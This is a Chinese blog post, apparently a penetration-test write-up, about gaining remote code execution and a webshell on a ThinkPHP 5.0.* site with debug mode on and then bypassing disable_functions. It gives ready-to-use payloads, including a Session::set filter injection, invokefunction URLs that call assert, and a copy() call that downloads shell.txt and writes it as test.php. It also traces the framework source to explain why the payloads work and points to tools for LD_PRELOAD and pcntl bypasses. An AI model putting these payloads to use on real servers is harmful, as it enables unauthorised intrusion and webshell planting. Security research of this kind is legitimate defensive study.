CYH博客CYH博客

天行健,
君子以自强不息。

ThinkPHP绕过限制GetShell

0x01 前言

项目里遇到一个站,用的是ThinkPHP V5.0.*框架,且开启了debug模式,本以为一发payload的就能解决的事情,没想到拿下的过程还得小绕一下

0x02 踩坑

  1. 尝试命令执行,system被限制了

ThinkPHP绕过限制GetShell(图1)

  1. 尝试包含日志文件,open_basedir限制了

ThinkPHP绕过限制GetShell(图2)

  1. 这里有个思路,可以去包含runtime下的日志文件,但是thinkphp的日志文件比较大,而且有时候会有很多奇怪的问题阻断代码执行,暂且作为备选方案

ThinkPHP绕过限制GetShell(图3)

  1. 尝试通过thinkphp本身Library中设置Session的方法把脚本写入tmp目录里的Session文件,然后进行包含


1
_method=__construct&filter[]=think\Session::set&method=get&server[REQUEST_METHOD]=<? phpinfo();?>


但是。。。

ThinkPHP绕过限制GetShell(图4)

0x03 GetShell

跟其他师傅们讨论后,得出了解决的办法

  1. 解决方法及分析:

ThinkPHP绕过限制GetShell(图5)

Request.php的filtervalue函数下存在call_user_func,根据Payload,跟踪下流程

首先会进入App.php的Run方法


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static function run(Request $request = null)
{
       ………………………………
       // 未设置调度信息则进行 URL 路由检测
       if (empty($dispatch)) {
           /*执行当前类的routeCheck方法,获取调度信息,如访问index模块下index控制器里的index方法,则
               $dispatch = array(2) { ["type"]=> string(6) "module"
                   ["module"]=> array(3) {
                       [0]=> string(5) "index" [1]=> string(5) "index" [2]=> string(5) "index" } }
               */
           $dispatch = self::routeCheck($request, $config);
       }

       // 记录当前调度信息 将获取的调度信息,即模块,控制器,方法名存入Request类的dispatch属性中
       $request->dispatch($dispatch);

       // 记录路由和请求信息 调式模式,在\application\config.php 参数app_debug可配置
       if (self::$debug) {
           Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
           Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
           Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
       }

       ………………………………
}


这里我们主要关注routeCheck和param两个函数,先看routeCheck


1
2
3
4
5
6
7
8
public static function routeCheck($request, array $config)
   {
       $path   = $request->path();
       $depr   = $config['pathinfo_depr'];
       $result = false;
     ………………………………
       // 路由检测(根据路由定义返回不同的URL调度)
       $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);


主要是将请求参数什么的传入,经过check后就基本上都处理好了

ThinkPHP绕过限制GetShell(图6)

在调试模式开启的情况下可以进入param函数


1
2
3
4
5
6
7
if (empty($this->param)) {
           $method = $this->method(true);
   ......
       $this->param = array_merge($this->get(false), $vars, $this->route(false));
}
return $this->input($this->param, $name, $default, $filter);
   


跟进input函数


1
2
3
4
5
6
7
8
9
10
11
  public function input($data = [], $name = '', $default = null, $filter = '')
 {

......
     $filter = $this->getFilter($filter, $default);
     if (is_array($data)) {
         array_walk_recursive($data, [$this, 'filterValue'], $filter);
         reset($data);
     } else {
         $this->filterValue($data, $name, $filter);
     }


getFilter取出filter的值,在这里也就是assert

array_walk_recursive

array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。该函数与 array_walk() 函数的不同在于可以操作更深的数组(一个数组中包含另一个数组)。

及对$data的每一个元素应用filterValue函数,跟进filterValue


1
2
3
4
5
6
7
8
function filterValue(&$value, $key, $filters){
......  
if (is_callable($filter)) {
               // 调用函数或者方法过滤
               $value = call_user_func($filter, $value);
           }
......
}


  1. 铳梦师傅的解决方法及分析:

payload参考:

来自:https://xz.aliyun.com/t/3570#toc-4


1
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()


执行phpinfo(这里注意看 ?s= 后的参数)


1
https://127.0.0.1/?s=../\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()


拿shell


1
https://127.0.0.1/?s=../\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('http://127.0.0.1/shell.txt','test.php')


为什么要这么构造呢,给出当前的目录情况以及分析:

ThinkPHP绕过限制GetShell(图7)

Route.php的parseUrl函数会对url进行处理


1
2
3
4
5
6
7
private static function parseUrl($url, $depr = '/', $autoSearch = false)
   {
       .......
       $url              = str_replace($depr, '|', $url);
       list($path, $var) = self::parseUrlPath($url);
   ......
   }


首先将url中的/替换为|之后是parseUrlPath将url分割


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private static function parseUrlPath($url)
{
    // 分隔符替换 确保路由定义使用统一的分隔符
    $url = str_replace('|', '/', $url);
    $url = trim($url, '/');
    $var = [];
    if (false !== strpos($url, '?')) {
......
        ......
    } elseif (strpos($url, '/')) {
        // [模块/控制器/操作]
        $path = explode('/', $url);
    } else {
        ......
    }
    return [$path, $var];
}


得到如下三部分

ThinkPHP绕过限制GetShell(图8)

模块加载时Loder.php下的parseName函数


1
2
3
4
5
6
7
8
9
10
11
public static function parseName($name, $type = 0, $ucfirst = true)
{
   if ($type) {
       $name = preg_replace_callback('/_([a-zA-Z])/', function ($match) {
           return strtoupper($match[1]);
       }, $name);
       return $ucfirst ? ucfirst($name) : lcfirst($name);
   } else {
       return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
   }
}


ThinkPHP绕过限制GetShell(图9)

现在就会实例化\Think\app类并执行invokefunction方法

ThinkPHP绕过限制GetShell(图10)

所以加../\的原因是可以再往前跳一层

0x04 bypass disable_functions

查看禁用

ThinkPHP绕过限制GetShell(图11)

  1. 一开始没仔细看禁用的内容,直接就用了这个

    https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

但是发现putenv被禁用了

ThinkPHP绕过限制GetShell(图12)

  1. 换个方法,通过这篇文章

https://mochazz.github.io/2018/09/27/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B9%8B%E7%BB%95%E8%BF%87PHP%E7%9A%84disable_functions/

了解到利用pcntl扩展,确认系统支持

ThinkPHP绕过限制GetShell(图13)

最终成功执行命令

ThinkPHP绕过限制GetShell(图14)


未经允许不得转载:CYH博客 » ThinkPHP绕过限制GetShell
分享到: 更多 (0)

CYH博客 带给你想要内容

联系我